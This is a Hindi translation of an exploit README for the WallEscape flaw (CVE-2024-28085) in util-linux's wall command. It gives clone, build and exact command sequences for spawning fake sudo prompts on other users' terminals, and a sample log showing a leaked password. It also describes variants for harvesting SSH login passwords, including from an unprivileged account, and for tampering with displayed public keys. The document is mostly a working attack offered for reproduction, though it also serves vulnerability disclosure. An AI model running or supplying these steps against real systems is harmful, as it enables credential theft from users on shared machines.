
WallEscape भेद्यता util-linux में
util-linux का वॉल कमांड कमांड लाइन तर्कों से एस्केप अनुक्रमों को फ़िल्टर नहीं करता है। कमजोर कोड कमिट cdd3cc7fa4 (2013) में पेश किया गया था। तब से हर संस्करण कमजोर रहा है। एक पूर्ण रिपोर्ट यहाँ पाई जा सकती है। मैंने इस बग का नाम "WallEscape" रखा है।
यह एक्सप्लॉइट कोड डिफ़ॉल्ट कॉन्फ़िगरेशन के साथ Ubuntu 22.04 पर पासवर्ड लीक करने में सफल रहा।
सुनिश्चित करें कि throw.c में बैकग्राउंड रंग और उपयोगकर्ता नाम उपयुक्त मानों पर सेट हों।
हमले की सेटअप
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw
मैंने sudo systemctl start apache2 का उपयोग किया क्योंकि यह बिना अधिक आउटपुट के छोटा चलता है। एक्सप्लॉइट चलने के बाद spy को मारना सुनिश्चित करें: pkill spy।
फिर दूसरे टर्मिनल में
sudo su
sudo systemctl start apache2
सिस्टम और स्थानीय बनाम ssh के माध्यम से पहुँच के आधार पर पीड़ित के लिए su कॉल करना आवश्यक नहीं हो सकता है।
इससे पीड़ित टर्मिनल में नकली sudo प्रॉम्प्ट पॉप अप होना चाहिए। चूँकि कई सिस्टम ऐसे कमांड लीक करते हैं जो नहीं मिलते, पीड़ित का पासवर्ड proc.log में दिखाई दे सकता है।
उदाहरण proc.log
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!
कुछ लोगों ने गलत समझा कि इसका उपयोग किन परिस्थितियों में किसी अन्य उपयोगकर्ता पर हमला करने के लिए किया जा सकता है। हमें sudo पर हमला करने की आवश्यकता नहीं है, हम उस स्थान पर हमला कर सकते हैं जहाँ उपयोगकर्ता अपना पासवर्ड इनपुट करता है। मेरे सिस्टम पर, OpenSSH का उपयोग करके उपयोगकर्ता के लॉग इन करने के बाद, कमांड /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new चलता है।
Openssh उपयोगकर्ताओं से पासवर्ड लीक करने के लिए, निम्नलिखित चलाने की कल्पना करें:
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw
फिर हम SSH के माध्यम से उपयोगकर्ता के सही ढंग से लॉग इन करने के बाद "पासवर्ड गलत" संदेश भेज सकते हैं। Sudo केवल वह कमांड था जिसे मैंने डेमो के लिए चुना, लेकिन कई संभावित लक्ष्य हैं। यह कल्पना करना कठिन नहीं है कि एक हमलावर क्रेडेंशियल हार्वेस्टर स्थापित करे, जो SSH का उपयोग करके लॉग इन करने वाले प्रत्येक उपयोगकर्ता के क्रेडेंशियल एकत्र करे। यह सबसे अनाधिकृत उपयोगकर्ताओं, जैसे www-data, से भी संभव है।
यह कमजोरी हमलावरों को किसी भी कमांड के आउटपुट को बदलने की क्षमता भी देती है। कल्पना करें कि हम कमांड cat ~/.ssh/id_rsa.pub" की प्रतीक्षा कर रहे हैं। एक हमलावर बदल सकता है कि उपयोगकर्ता अपनी सार्वजनिक कुंजी के लिए क्या कॉपी करता है। इस प्रकार के हमले में, हमें न मिलने वाले कमांड के लिए लीकिंग प्रिमिटिव की आवश्यकता नहीं है।